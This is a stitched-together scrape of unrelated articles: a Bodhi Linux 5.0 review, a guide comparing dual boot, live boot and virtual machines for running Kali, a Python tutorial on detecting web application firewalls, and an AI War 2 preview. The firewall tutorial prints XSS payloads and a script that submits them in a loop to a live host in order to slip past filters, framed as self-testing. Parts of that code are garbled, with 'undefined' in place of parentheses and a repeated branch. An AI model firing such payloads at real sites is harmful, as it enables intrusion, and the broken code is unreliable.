Linux Blimp

By Jack M. Germain

Aug 30, 2018 10:23 AM PT

Bodhi Linux is an alternative to traditional Linux OSes that can change your desktop user experience.

It is one of a very few Linux distros using
Moksha, a forked version of the Enlightenment desktop.

Enlightenment is a Compositing Window Manager and Desktop Shell. It is radically different from other lightweight interface shells such as Xfce and LXDE. Its roots go back to 1996, when it started out as a project to build a Window Manager for X11. That project has started to transition to
Wayland.

It also evolved to handle mobile, wearable and tv user interface requirements. It is still viable in
Tizen, the Android offshoot platform.

Bodhi Linux 5.0.0 is a lightweight OS with a future-leaning desktop design.

The Bodhi community forked Enlightenment 17 several years ago in response to the lack of developmental progress from the
Enlightenment project.

The E19 (Enlightenment 19) release is relatively heavy and not suitable for older hardware, according to Bodhi developers. That gave rise to Moksha, actively maintained and updated with the latest Enlightenment libraries.

Bodhi is highly modular, with high levels of customization and choice of themes. This latest release brings a post-modern look and updated Ubuntu core (18.04) Bionic Beaver to the fast desktop.

The current Moksha desktop displays refinements over earlier releases. For example, it has a new default wallpaper, new themes for the login and boot sequence, and a Bodhi-branded version of the popular Arc GTK theme.

Enlightened Development

Moksha is very customizable. It has many features and options that contribute to its futuristic design and innovative desktop UI.

This gives the forked Enlightenment desktop an advantage over traditional Lightweight Linux desktops compared to choices such as GNOME, Cinnamon and KDE Plasma. While the Moksha desktop is light on resources, it has a modern look.

When creator Jeff Hoogland launched the Bodhi OS seven years ago, the distro used Enlightenment. In fact, the name “Bodhi” in Sanskrit means “enlightened” or “the one with sense.”

Hence, its developers called Bodhi “the Enlightened Linux Distribution.” That moniker stuck. The community earlier this month released Bodhi Linux 5.0 as the fifth major release of the distro.

Consistent Affair

This is my fourth review of Bodhi in its seven-year growing cycle. From my earliest hands-on assessment, Bodhi piqued my interest. It was different and surprisingly agile for a lightweight desktop. Even in its infancy, it impressed me.

The developers pushed the original concept to be more than impressive. The change in direction turned Moksha into a more functional desktop environment than the original Enlightenment release. Moksha was more adaptable to home use or office computing without a dumbed-down user interface.

Considering Bodhi’s limited developmental releases, you would expect considerable changes with each major release. However, version 5.0.0 lacks a lengthy change log, which Hoogland points out in his release notes. That is especially the case for updates to the Moksha desktop.

That results from the consistent stability the developers built into the Bodhi platform. Bodhi has been stable and well-performing for the last few releases. Other than the under-the-hood upgrades supplied from the Ubuntu 18.04 base, changes in this latest Bodhi release are design elements that improve its aesthetics.

Packaged Design

The Enlightened Linux distro takes a minimalist approach to computing. It does not give users an overstuffed collection of software that they will never use. Instead, it offers a modular architecture. Out of the box, the basic computing tools are present.

Bodhi follows a minimalist software philosophy to keep down software bloat. It does this perhaps to the point of overkill.

What does not come bundled with the installation ISO, you can add from the Bodhi repository or the Synaptic Package Manager. If you do not like a particular look out of the box, you can change it easily.

Bodhi comes in three flavors for the one-desktop distro. All three choices maintain the minimalist design. The options are Standard Release, Legacy Release and AppPack Release.

Typically, you get essential software only out of the box. These include a terminal, Web browser, text editor, and the PCManFM file manager.

Mainly Minimal

The Standard Edition is geared toward typical 64-bit desktop, laptop and workstation computers, but it is extremely minimalist by design. The software and theme options are very limited. So be prepared to do a lot of package installing to suit your computing needs.

The Legacy Edition works on older 32-bit hardware. The Legacy ISO image gives you an older Linux kernel optimized for hardware that is 15 or more years old. This kernel lacks the PAE extension, which is not supported on many older systems. The software and theme limitations are bare bones, just like the 64-bit Standard Edition.

The AppPack Edition is the most complete of the three options. You can use it as a full-featured live CD or base install. It comes with additional themes and applications installed by default.

The range of software and theme choices is still strictly minimal. The goal is to keep the software bloat as low as possible. If you do more than surf the Web with a browser, use email and handle light office tasks, you will be installing your must-have packages.

How Modular Design Works

Bodhi Linux has system tray icons. That element is fairly standard. With Moksha, they’re gadgets and modules.

Gadgets are small applications that either provide system information or perform a specific action. Gadgets are highly configurable by right-clicking the gadget on the screen.

Modules are the traditional icons. Gadgets are more like a mini control center. You can monitor a lot of things, including screen brightness, system temperature and CPU speed. A gadget inventory is provided, but most are not loaded by default to keep Bodhi Linux as lightweight as possible.

Shelves house gadgets. The desktop structure allows more than one shelf on a desktop, so you can have different shelves on different virtual desktops.

This arrangement is similar to the Activities feature in KDE Plasma and GNOME. Each shelf can house its own unique set of gadgets and application launchers.

You can locate shelves at the middle or a corner of any screen edge. This lets you get better use out of different size display screens.

To configure shelves, right-click them and choose Shelf > Settings from the context menu. You can set stacking, Position, Size and more. You can locate shelves on a specific virtual desktop or on all desktops.

The Plus Factor

This is where the iBar gadget comes into play. It is an application dock that houses launchers for frequently used applications. It also tracks them with a small orange dot.

Bodhi’s iBar does what a traditional panel bar does plus a bit more. It serves as a dock for running applications. It also can be a very useful tool.

Hover the mouse over one of these marked icons to reveal its launch menu. Other options show a thumbnail of the application and its title bar label.

If more than one instance of an application has been launched, both will appear in this menu. Click on one of these to bring its window into focus.

Also, you can use it to restore a minimized window, or windows hidden behind another app.

Getting Personal

Another desktop feature not found elsewhere is the Personal Application Launcher for desktop files that you create yourself. They are hidden files stored in your Home directory at .local/share/applications. These folder names begin with a period. To see them, open the file manager and press Ctrl+H.

Personal Application launchers are very useful. You can create specialized on/off switches to make various desktop functions available with a single click.

They also are handy for launching a command line application without having to open a terminal manually and enter the command phrase. It is easy to learn the pattern for writing your personalized launchers. Open application launchers come bundled in the installation at /usr/share/applications in a text editor.

Many applications are launched with an argument, often %U or %f. These two arguments control the number of files that can be passed to the application. For instance, %f opens 1 file. %U opens multiple files.

Bodhi’s Quick Launcher app is a standalone menu that supplements the main menu. It provides a search window that speeds up finding apps and files.

Enlightened Highlights

One of Bodhi’s more useful user interface traits is the left-click feature anywhere on the desktop that pops up the menu. It is very convenient. A more traditional menu button is also present on the Bodhi panel bar.

This bar can be on any edge of the screen. Right-clicking on the panel opens configuration settings. The orientation setting provides a list of placement options for the panel bar.

In addition to standard key bindings for keyboard shortcuts, Bodhi Linux has an extensive edge binding setting. You can set up to eight edge bindings. You can select a desired behavior or desktop action for each edge location.

That makes one “pointer gesture” for each edge and one for each corner. By default no edge bindings are set. Find the setting in Main menu > Settings > Settings Panel > Input > Edge Bindings.

Disappointing System Tools

Bodhi’s AppCenter is one of my biggest disappointments with this distro. It is not uncommon for a smaller or newer Linux distro to forgo its own applications repository in favor of more general purposes software warehouses using the Synaptic Package Manager.

Given the developer’s fervor for minimalizing software to avoid application bloat, more emphasis should be placed on providing meaningful software. The AppCenter does not rise to this task.

You Add/remove Bodhi-specific packages with the AppCenter. This is a Web-based software installation tool. When you open the supposed software application, Bodhi loads the lightweight default Midori Web browser to install applications directly from the Bodhi Linux AppCenter.

That repository resembles a fire sale two days after closing, so you must do most serious application installing through the Synaptic application.

The Enlightenment File Manager (EFM) is tweaked to work within Bodhi Linux to add files and launchers to the desktop by moving the desired files and launchers into the desktop folder located in the home directory. You can opt out of displaying desktop icons at Main Menu>Settings>All>Files>File Manager under the Display tab.

You can add other file managers and designate other default applications for more traditional functionality. Go to Main Menu/Settings/All/Apps/Default Applications.

More Woeful Basics

You face a similar tradeoff in handling basic system maintenance. The eepdater app updates the system components. Despite its listing in the main menu under Applications > System Tools as System Updater, it merely launches a rebranded terminal window to automate the Command Line Interface commands with the esudo app.

Basically, the esudo app is pretty much like gksudo of GNOME or kdesudo of the KDE Plasma desktop. Like the AppCenter, the eepdater app is not a standalone application to update the system.

Even the Swami Control Panel leaves oh so much to wish for as a really functional system settings tool. Swami only has a few categories in its control panel. In order to gain access to other system settings, you must return to the System Settings portion of the skimpy main menu to hunt around for other options.

Considering that the UI should be more intuitive within the “enlightenment” design, all of this easily creates a sense of confusion. One such “other” control panel is the Everything application. It seems that what is not controlled in other configuration panels may be covered with the Everything app.

One of the more confusing aspects of Bodhi Linux is the appearance of seemingly new things that are little more than a naming game. They are not new features that do not exist in other distros — only their names are different.

For instance, Terminology is the terminal application for entering command Line Instructions. It is more user-friendly, however, with some handy menus.

Bottom Line

Bodhi Linux is elegant and lightweight. It is worth putting this distro through its paces. It will not please every power user, but it offers a nice change of pace.

This distro can be a productive and efficient computing platform. Bodhi is very easy to use. It has a low learning curve. New Linux users can get acquainted right away.

Bodhi’s minimum system requirements are a 500mhz processor with 256 MB of RAM and 5 GB of drive space. You will get better performance from a computer with a 1.0ghz processor powered by 512 MB of RAM and 10 GB of drive space.

The installation routine is driven by the Ubiquity Installer. No surprise there since Bodhi is based on Ubuntu Linux.

Want to Suggest a Review?

Is there a Linux software application or distro you’d like to suggest for review? Something you love or would like to get to know?

Please
email your ideas to me, and I’ll consider them for a future Linux Picks and Pans column.

And use the Reader Comments feature below to provide your input!

Jack M. Germain has been an ECT News Network reporter since 2003. His main areas of focus are enterprise IT, Linux and open source technologies. He has written numerous reviews of Linux distros and other open source software.
Email Jack.

Source

If you are yet to have a Kali instance running on your machine, then you have quite a dilemma ahead of you. There are three ways to go about running Kali, each with their own advantages and disadvantages. In this article, I’ll tell you what exactly the terms Dual Boot, Live Boot, and Virtual machine installation mean, how easy/difficult these are to perform, and what are the advantages/disadvantages of each of them. In the end, I’ll tell you how to find guides for doing all of these.

PS: This guide (and the blog) is focused on Kali, but everything in this post is applicable to Linux in general. Certain parts are related to hacking, but you can take networking lessons from them regardless, even if you aren’t interested in hacking per se.

Dual Boot

Most of you would be running a single operating system on your system right now. However, that doesn’t have to be the case. We can partition our hard disk, and install multiple operating systems alongside each other.

Think of how you have multiple partitions in your Windows (C,D,E,F drives). All your Windows system files would usually be in C (local disk). What if you let go of drive F (copy it’s content to C,D,E first), and decide to install Kali’s system files on it (you can install Kali’s system files on your computer using the .iso file of Kali that is available for download). Now, you will have 3 drives of Windows format (NTFS), and one drive with Linux format (ext4). C drive (NTFS), will have Windows installed, and F drive (ext4, and it’s name isn’t really F drive anymore), has Linux.

But since your computer loads the system files during bootup, it needs to know whether to load files from C drive or from the “formerly F” drive. This is handled by the bootloader.

This was a gross oversimplification. Here’s a nice article on

HowToGeek

that explains stuff in more details.

This is when Kali installer asks where it should install the OS. In the sample explanation, you should install it where the “F” drive of Windows is. If you instead install it over the “C” drive, you’ll lose Windows, and will only have Kali in your system.

Once you have installed Kali on a system which already had Windows, the bootloader (GRUB) will ask you which of them to boot from.

USB Boot

In the above example, we had Windows on our C,D,E,F partitions. The C partition had the system files, while D,E,F had other files. We decided to overwrite F and install Kali’s system files over there. When we wanted to run Windows, we booted from C, and when we wanted to run Kali, we booted from the “former F drive” (of course we didn’t know what exactly we are booting for, GRUB handles that for us, we just have to choose).

So, can we, instead of installing Kali on our F drive, install it on an external Hard Disk, and then boot from that external hard disk? The answer is yes. Well, you may ask, the size of Kali’s ISO is <4 GB. What if I have a 16 GB USB flash drive. Surely, the installed OS will not take more than 16GB. Why use a hard disk, let me just install the OS on a USB flash drive.

Well, the answer to that is yes too. You can but 10 USB flash drives, and install 10 different operating systems on each of them, and then plug in whichever one you want, boot from it, and if your OS supports the filesystem of your hard disks, you can use your computers hard disks as well. You actually don’t even need hard disks at all. You can run your computer from a flash drive itself.

However, remember how I said

install the OS on the USB flash drive

. Turns out, you don’t even have to install the OS. In general, for most software, there is ‘an installer’, and after the installer finishes it’s job, we have the software installed and then can use it. For example, take a simple game. Suppose it has a setup.exe file on the CD drive you bought. When you run that, you can’t yet play the game, and you instead need to install it on your hard disk, after which it can be played. This is true for operating systems as well. If you plug in a Windows installation CD/DVD/USB into your computer, it will do what the name says, install Windows on your computer. Upon installation, you can run Windows.

But with some Linux distributions, we have the ability to run the OS without installation(live boot). You can take the ISO, burn it to a DVD drive, and “live boot” it. It will not touch your hard disk, and everything will run directly on your primary memory (RAM). Hence, the installer also acts as the installed software.

So, simply download Kali Linux’ iso, and copy it to a USB, and you are done. Except for a little problem, USB drives are not bootable by default. So you need a little software which will properly perform the copying of the iso to the USB drive, such that it can be booted from.

In summary, download the ISO, use a tool to intelligently copy the ISO to a flash drive, plug in the flash drive, and boot from it. It will ask you whether you want to Install the OS, or start running it right away (live boot). Just select the live boot option, and Kali is up and running, without any installation. However, since everything happens in volatile primary memory (RAM), changes are lost. So, everytime you boot into the live USB, it would be like running a fresh install (which can be both a good and a bad thing). With persistence mode, even this limitation is overcome, and you can have changes which persist across boots.

These are the choices offered when you boot from Kali’s installer on a USB You can run it live, run it live with persistence, or install the OS.

Virtual Machine

Suppose you only have Windows on your machine. How do you go from a powered off system to having a fully functional Windows running on your machine. Actually, a more useful question is, what all do you need to go from nothing to functional OS running. Here are a few things I can think of-

• System files that run the OS (or in other words, system files that basically the OS).
• A small core utility which can load the system files into memory from the hard disk (bootloader) when the computer is presently in a void like situation.
• Memory where the system files are loaded.
• Processing power which runs the OS.
• Hard Disk space, where you can store stuff, Networking so that you can access the internet, and so on.

So, from a powerless state, in the presence of all the above, we can move to a state where we have a functional Windows instance running on our system. The question I want to ask you is, from a state where we have a functional Windows instance running on our system, can we move to a state where we have two functional OSs running on our system?

The answer should be, why not, if we have all the requirements that can result in a transition from 0 to 1, then if same requirements are met again, we can go from 1 to 2. In other words, if we have-

• System files that run the second OS
• A different core utility which can load the system files into memory from the hard disk (bootloader) when we have an OS running on the system already (as opposed to being in a void like situation)
• Memory, separate from the already runnning OS’s memory, where the system files of this OS are loaded.
• Processing power, separately for this OS, which runs the OS.
• Hard Disk space, separately for this OS, where you can store stuff, Networking so that you can access the internet, and so on.

The above discussion should tell you that it would indeed be possible to run multiple OSs together, by somehow dividing the memory, hard disk space, processor power, etc. into two, and letting both OSs run on their share.

Without going into too much detail, let me just tell you that using hypervisors, this has indeed been achieved, and now we can run multiple OS inside one OS, given that there are enough resources to sustain the needs of all the simultaneously running OSs. VMware has been a pioneer in this technology, but they only offer limited capability VMWare player for free, while VMWare workstation will cost you. On the other hand, VirtualBox provides free open source products.

Now that you know about all the different ways to run Kali, be it alongside Windows, inside Windows (virtually), or live without installation, let me tell you about advantages and disadvantages of these methods.

Multiple Operating systems can run simultaneously as virtual machines. In the picture, you can see VmWare workstation and various virtual machines on it.

Comparison

Live Boot V/S Dual Boot

Dual boot performs faster than live boot, and has persistence (though live boot with persistence is also available, but that is limited persistence). If you are using live USB, then you have to keep updating the ISO version on the USB frequently (download a new ISO, then write that ISO to the USB). If you have dual boot, then you’ll update Kali the usual way (using apt-get update, upgrade, and dist-upgrade).

I have put this point of comparison first because this is the only point of difference between live boot and dual boot. The two are identical in every other aspect, and from here on, I’ll use live boot to refer to both live boot and dual boot.

Hardware access

In live booting, when you are running Kali, it would be the sole owner of all the resources that the computer offers (except hard disk space which is occupied by Windows, which is not a major concern). Not only that, it will have access to internal wireless card of your machine. We’ll get a better idea of what hardware advantages we are getting by looking at what we don’t get when we are inside Virtual Machine.

When Kali is running from inside a virtual machine, it doesn’t have access to-

1. Full CPI / GPU power (because processor needs to be shared between the two simultaneously running OSs) – So, this will mean slower cracking (processor intensive task like cracking WPA-2 4-way handshake will suffer here).
2. No direct access to internal hardware, only bridged access – What this means for you is that you can’t access the internal wireless adapter of your laptop. So, for wireless hacking, you will need to purchase an external wireless adapter if you are working inside a VM. (even if you are live/dual booting, you may need to purchase an external wireless card, because internal wireless cards are weaker, have less driver support, and sometimes don’t support injection, which is needed in many attacks).

So, for wireless hacking, Virtual Machine isn’t the best way to go.

Networking

In live booting, you are a direct part of the local network you are connected to. In virtual booting, your host computer is a part of that network, and you are part of internal network which contains only you, your host, and other guests.

First, let me explain some technical jargon-

1. Internal network – When you connect to your wifi router, you, along with other connected devices (your iphone, android phone, macbook, PC, etc.) become part of a local network. The internet knows only about your router. Every communication must be sent via the router to the internet, the internet will respond to router, and router will return the response to the appropriate system on the local network.
2. VMnet – This is an equivalent of internal network, with the guest virtual machines, and the host machine a part of it.
3. Host machine – The machine on which Vmware/virtualbox is installed, and inside which the virtual machines are running.
4. Guest machine – The machines inside virtualbox/vmware.
5. Internal IP – Your IP on the local network
6. VMnet IP – Your IP on the Virtual network (VMnet) [This is not a standard term, internal and external IPs are standard terms, this I’m using for convenience]
7. External IP – Your IP on the internet.

If any of the machine make a request to the internet, their external IP would be the same. To check this, open your smartphone, and search “Whats my IP on google”. Repeat this from all your other devices connected to the same router. Each one will have the same IP. Internally, all the devices have a different internal IP (the router has an internal IP too, like any other device on the local network).

Similarly, when you send a request from any of the VM guests to a machine outside the VMNet, but inside the local network, you’ll carry the internal IP of your VM host (i.e. the Windows machine). Internally, all the guests have a VMnet IP (the host has one too, and inside the VMnet, behaves like guests).

Let me explain this a bit further with pictures.

Here, the kali machine is a part of VMNet, and can’t directly contact the mac machine and android machine. To reach them, it has to go via the Windows machine. The router doesn’t know about the existence of Kali Machine (or the Windows XP machine). The path to the internet involves both the host machine, and the router.

Here, Kali is directly a part of the Local network. Here, the router knows about the Kali Machine. Also, the path to the internet involves only the router.

So, what does this mean for us?

1. If you want to practice penetration testing, VMs can be great. You can have a Windows host, and Kali running as a virtual machine. Alongside, you can have Windows XP running as another guest VM. Now, these are a part of VMNet and directly connected. So, you can easily perform any attacks from Kali to this machine.
2. If you want to do real life pentesting, your target is probably over the internet. In that case, having Kali inside a virtual machine doesn’t help. Firstly, even if you are live booting Kali, you are a part of the local network, and to communicate with your target over the internet, you need to “forward” your requests through the router (this is called port forwarding). This, in itself, can sometimes be a pain in the ass. If you are inside a VM, your path to your target would involve your router, your host machine, and then the Kali Machine. This is quite inconvenient. So, if you want to attack someone over the internet, being in a virtual machine sucks.

In other words, your guest machine (Kali) does not have access to your laptop’s network card. It has bridged access to it. In theory, you can still use most of the functionality of the card, but in practice, it’s a painstakingly hard job. You can, however, add an external card and give it to the Kali guest instead of the windows host, mitigating this problem. Read the food for thought below for more-

Food For Thought

When you are inside a virtual machine, you are using your host to connect to the internet. But that doesn’t have to be the case. You can plug in an external wireless card, and connect to the router directly. That would mean, that you are now a part of VMNet, as well as a part of LAN (your wlan0 card gets allocated an internal IP on the LAN (WLAN), say 192.168.1.5. Now, you don’t need your host for internet access, and as far as the router is concerned, you are a separate computer. So, this does solve the problem that being inside a virtual machine causes. (I’m too lazy to draw a diagram for that, but in this case, the diagram will have Kali as a part of both the internal network dotted box, and the VMnet dotted box. This is exactly equivalent to the condition Windows 8/10 machine in the first diagram. It will also have two IPs, one for VMnet, and one for LAN).

Ease/Risk

Live boot is the easiest to perform, and the least risky.

Virtual machine is a bit harder, but still not risky.

Dual boot is tough, and you run the risk of losing your data/ getting rid of your original OS, etc.

Also, sometimes Dual Booting can be next to impossible. For example, some laptops with Microsoft signature (the 2-in-1, laptop+tablet types usually) addition don’t let you dual boot anything alongside Windows.

Forensics

Live booting doesn’t leave behind many traces, other two methods do.

How to find installation guides

For finding guides, keep the following pointers in mind-

1. Consult multiple resources before doing anything. There are thousands of guides for installing Kali, and there’s no ‘best’ guide.
2. Make sure to read the official documentation.
3. Make sure not to limit yourself to just written tutorials, or just YouTube videos. Both has their own advantages and disadvantages.
4. Consult tutorials for your precise versions of software (how to install Kali Rolling alongside Window 10), not simply Kali alongside Windows. There are only a few minor difference across the various releases, and their install instructions, but when you’re doing it for the first time, these minor differences are important.
5. Live USB is the easiest, go for it first. Go for Virtual machine if you’re interested in practicing Penetration Testing.
6. Even the easiest method, Live USB, isn’t trivial. If you’re a beginner, even that will require some efforts (changing boot order/ choosing USB as boot device, finding a proper software for making bootable USB, etc.). Don’t get discouraged.

Extra Advice

• For wireless hacking, don’t even think about anything, go for live boot, it’s a no brainer.
• For pentesting, when you’re just getting started and need to practice on local targets, go for Virtual machine.
• When you’re comfortable with Linux, and feel that you can use Kali for usual stuff, only then install Kali alongside Windows. Still, I won’t suggest using Kali as your primary OS.
• If you love Linux, and love challenges, then install Kali as your primary OS. If you do, see if you’re able to figure out how to install Skype on Kali rolling release (if you succeed, please let me know. I haven’t been able to do it so far, and anyways, skype web works fine).

The last point tells me that I’m getting carried away now, and this post needs to come to and end. Hope you learnt a lot. Let me know if you feel that there’s something important worth inclusion that I missed.

Source

Web application firewalls are usually placed in front of the web
server to filter the malicious traffic coming towards server. If you are
hired as a penetration tester for some company and they forgot to tell
you that they are using web application firewall than you might get into
a serious mess. The figure below depicts the working of a simple web
application firewall:

As
you can see its like a wall between web traffic and web server, usually
now a days web application firewalls are signature based.

What is a signature based firewall?

In
a signature based firewall you define signatures, as you know web
attacks follow similar patters or signatures as well. So we can define
the matching patterns and block them, i.e.

Payload :- <svg><script>alert&grave;1&grave;<p>

The
payload defined above is a kind of cross site scripting attack, and we
know that all these attacks can contain following substring -> “<script>”,
so why don’t we define a signature that can block a web traffic if it
contains this sub string, we can define 2-3 signatures as defined below:

1. <script>
2. alert(*)

First
signature will block any request that contains <script>
substring, and second one will block alert(any text). So, this is how
signature based firewall works.

How to know there is a firewall?

If
you are performing a penetration test and you didn’t know that there
was a firewall blocking the traffic than it can waste a lot of your
time, because most of the time your attack payloads are getting blocked
by the firewall not by your application code, and you might end up
thinking that the application you are testing have a secure good and is
good to go. So, it is a good idea to first test for web application
firewall presence before you start your penetration test.

Most of
the firewalls today leave some tracks about them, now If you attack a
web application using the payload we defined above and get the following
response:

HTTP/1.1 406 Not Acceptable
Date: Mon, 10 Jan 2016
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Not Acceptable!Not Acceptable! An appropriate representation of the

requested resource could not be found on this server. This error was generated by Mod_Security.

You
can clearly see that your attack was blocked by the Mod_Security
firewall. In this article we will see how we can develop a simple python
script that can do this task detecting firewall and bypassing it.

Step 1: Define HTML Document and PHP Script!

We
will have to define our HTML document for injection of payload and
corresponding PHP script to handle the data. We have defined both of
them below.

We will be using the following HTML Document:

<html>
<body>
<form name=”waf” action=”waf.php” method=”post”>
Data: <input type=”text” name=”data”><br>
<input type=”submit” value=”Submit”>
</form>
</body>
</html>

PHP Script:



<html>
<body>
Data from the form : <?php echo $_POST[“data”]; ?><br>
</body>
</html>

Step 2: Prepare malicious request!

Our
second step towards detecting the firewall presence is creating a
malicious cross site scripting request that can be blocked by the
firewall. We will be using a python module called ‘Mechanize’, to know
more about this module please read the following article :

If
you already know about Mechanize, you can skip reading the article. Now
that you know about Mechanize, we can select the web form present on
any page and submit the request. Following code snippet can be used to
do that:

import mechanize as mec
maliciousRequest = mec.Browser()
formName = ‘waf’
maliciousRequest.open(“http://check.cyberpersons.com/crossSiteCheck.html”)
maliciousRequest.select_form(formName)

Lets discuss this code line wise:

1. On the first line we’ve imported the mechanize module and given it a short name ‘mec’ for later reference.
2. To
   download a web page using mechanize, instantiation of browser is
   required. We’ve just did that in the second line of the code.
3. On
   the first step we’ve defined our HTML document, in which the form name
   was ‘waf’, we need to tell mechanize to select this form for submission,
   so we’ve this name in a variable called formName.
4. Than we
   opened this url, just like we do in a browser. After the page gets
   opened we fill in the form and submit data, so opening of page is same
   here.
5. Finally we’ve selected the form using ‘select_form’ function passing it ‘formName’ variable.

As
you can see in the HTML source code, that this form have only one input
field, and we are going to inject our payload in that field and once we
receive response we’re going to inspect it for know strings to detect
the presence of the web application firewall.

Step 3: Prepare the payload

In our HTML document we’ve specified one input field using this code:

input type=”text” name=”data”><br>

You can see that name of this field is ‘data’, we can use following bit of code to define input for this field :

crossSiteScriptingPayLoad = “<svg><script>alert&grave;1&grave;<p>”

maliciousRequest.form[‘data’] = crossSiteScriptingPayLoad

1. First line saves our payload in a variable.
2. In a second line of code, we’ve assigned our payload to a form field ‘data’.

We can now safely submit this form and inspect the response.

Step 4: Submit the form and record Response

Code I am going to mention after this line will submit the form and record the response:

maliciousRequest.submit()
response = maliciousRequest.response().read()

print response

1. Submit the form.
2. Save the response in a variable.
3. Print the response back.

As I currently have no firewall installed, the response I got is :

As
you can see that payload is printed back to us, means no filtering is
present on the application code and due to the absence of firewall our
request was also not blocked.

Step 5: Detect the Presence of firewall

Variable
named ‘response’ contains the response we got from server, we can use
the response to detect presence of firewall. We will try to detect the
presence of following firewalls in this tutorial.

1. WebKnight.
2. Mod_Security.
3. Dot Defender.

Let see how we can achieve this with python code:

if response.find(‘WebKnight’) >= 0:
print “Firewall detected: WebKnight”
elif response.find(‘Mod_Security’) >= 0:
print “Firewall detected: Mod Security”
elif response.find(‘Mod_Security’) >= 0:
print “Firewall detected: Mod Security”
elif response.find(‘dotDefender’) >= 0:
print “Firewall detected: Dot Defender”
else:
print “No Firewall Present”

If Web Knight firewall is
installed and our request got blocked, response string will contain
‘WebKnight’ inside it some where, so find function will return value
greater than 0, that means WebKnight firewall is present. Similarly we
can check for other 2 firewalls as well.

We can extend this small application to detect for as many number of firewalls, but you must know there response behavior.

Using Brute force to bypass Firewall filter

I’ve
mentioned in the start of the article that mostly firewall these days
block requests based on signatures. But there are hundreds and thousands
of ways you can construct a payload. Java script is becoming complex
day by day, we can make a list of payloads, and try each of them, record
each response and check if we was able to bypass the firewall or not.
Please note that if firewall rules are well defined than this approach
might not work. Let see how we can brute force using python:

listofPayloads = [‘&lt;dialog open=”” onclose=”alertundefined1)”&gt;&lt;form method=”dialog”&gt;&lt;button&gt;Close me!&lt;/button&gt;&lt;/form&gt;&lt;/dialog&gt;’, ‘&lt;svg&gt;&lt;script&gt;prompt&amp;#40 1&amp;#41&lt;i&gt;’, ‘&lt;a href=”&amp;#1;javascript:alertundefined1)”&gt;CLICK ME&lt;a&gt;’]
for payLoads in listofPayloads:
maliciousRequest = mec.Browserundefined)
formName = ‘waf’
maliciousRequest.openundefined”http://check.cyberpersons.com/crossSiteCheck.html”)
maliciousRequest.select_formundefinedformName)
maliciousRequest.form[‘data’] = payLoads
maliciousRequest.submitundefined)
response = maliciousRequest.responseundefined).readundefined)
if response.findundefined’WebKnight’) &gt;= 0:
print “Firewall detected: WebKnight”
elif response.findundefined’Mod_Security’) &gt;= 0:
print “Firewall detected: Mod Security”
elif response.findundefined’Mod_Security’) &gt;= 0:
print “Firewall detected: Mod Security”
elif response.findundefined’dotDefender’) &gt;= 0:
print “Firewall detected: Dot Defender”
else:
print “No Firewall Present”

1. On the first line we’ve defined a list of 3 payloads, you can extend this list and add as many payloads as you require.
2. Then inside the for loop we did the same process we did above, but this time for each payload in a list.
3. Upon receiving response we again compare and see see if firewall is present on not.

As I’ve had no firewall installed, my output was:

Convert HTML Tags to Unicode or Hex Entities

If
for example firewall is filtering html tags like <, >. We can
send their corresponding Unicode or Hex Entities and see if they are
being converted to there original form, if so, than this could be an
entry point as well. Code below can be used to examine this process:

listofPayloads = [‘&lt;b&gt;’,’u003cbu003e’,’x3cbx3e’]
for payLoads in listofPayloads:
maliciousRequest = mec.Browser()
formName = ‘waf’
maliciousRequest.open(“http://check.cyberpersons.com/crossSiteCheck.html”)
maliciousRequest.select_form(formName)
maliciousRequest.form[‘data’] = payLoads
maliciousRequest.submit()
response = maliciousRequest.response().read()
print “—————————————————”
print response
print “—————————————————”

Each
time we will send the encoded entry and in the response we will examine
if it got converted or printed back without conversion, when I ran this
code I got the this output :

Means none of the encoded entry got converted to its original form.

Conclusion

The
purpose of this article was to train you in advance so that you can
penetrate your firewall before a hacker can do. It is always a good
choice to self test your network infrastructure for vulnerabilities,
because our first concern always is to get our application up and
running and we overlook the security part. But it must not be over
looked, because later it can be a huge headache.

Complete source code can be downloaded from this

link

.

Author Info:

Usman Nasir, founder, and author of Cyberpersons
is a Computer Science student. I also worked as a technical support
staff at various hosting companies and love to write about Linux and web
application security.

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October 3, 2018

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AI War 2 from Arcen Games has finally entered Early Access today after being funded on Kickstarter back at the end of 2016. Thankfully, they’ve lived up to their promise of Linux support as it’s available right away.

AI War 2 is a grand strategy RTS hybrid against an overwhelming, inhuman enemy who has conquered the galaxy. The enemy has made only a single error: underestimating you. You must steal as much technology as you can, take enough territory to fortify your bases and launch your attacks. But every conquest you make turns the attention of the AI ever more in your direction… so choose your targets with care.

AI War 2 is the epic sequel to 2009’s space strategy hit, AI War: Fleet Command — critically acclaimed for its dastardly AI and totaling nearly 2 million units sold, with more than 650,000 base game sales and 1.15m expansion purchases made to date.

Current features:

• Many optional factions, each with their own goals and strategy, creating a living galaxy.
• Polished gameplay mechanics, representing everything learned from the original AI War: Fleet Command’s six expansions.
• Redesigned UI, currently going through iterations.
• Over 1700 lines of spoken dialogue from more than 25 actors, and more to come for the AI itself.
• 1.5 hours of new music added to the 4.5 hour score included from the original AI War: Fleet Command.
• A ton of map types, with a lot of sub-options to make them even more varied.
• Crazy moddability, with many levers available in easily-accessible XML.
• Multithreading for modern performance, and a codebase that will not summon an elder god.

It will have multiplayer, but it’s currently disabled while they work on it. Naturally, it would be silly to review such a game right now since it’s still quite early. Any depth I talk about it will probably be irrelevent in a month’s or week’s time. Still, some basic thoughts would help here. After spending some time with it, I can certainly see a lot of promise in it. While I like it, there’s obviously a number of rough spots.

The UI for example, feels like it’s always in the way with this big bulky thing attached to the left of your screen although they do plan to let you close it. There is a tutorial which does an okay job at directing you through the real basics, although for me nothing actually happened once I had finished all the objectives on it which was a little bit odd, a bug I assume. The tutorial does miss out covering certain aspects of the game like hacking, mercenaries and likely more. There’s also a few times where zooming suddenly doesn’t work when you have units selected, which i also assume is a bug.

Performance so far seems to be pretty good, I haven’t noticed any stuttering or large drops overall it does seem quite smooth so they’ve done a pretty good job.

For those of you appreciate a good view, it certainly becomes a light show during the larger battles. Lasers and all sorts firing across the screen, it lights up the darkness of space for sure. It’s not a game for those who want to be up close and personal with the action though, since most of your time is will likely be spent zoomed out where everything becomes icons since you’re managing hundreds of units. It’s a good feature, one I liked from playing games like Supreme Commander years ago, but it makes you feel a little too detached from the action. Thankfully, you can slow down time holding CTRL while pressing the minus key to slow it down and the plus key to speed it back up.

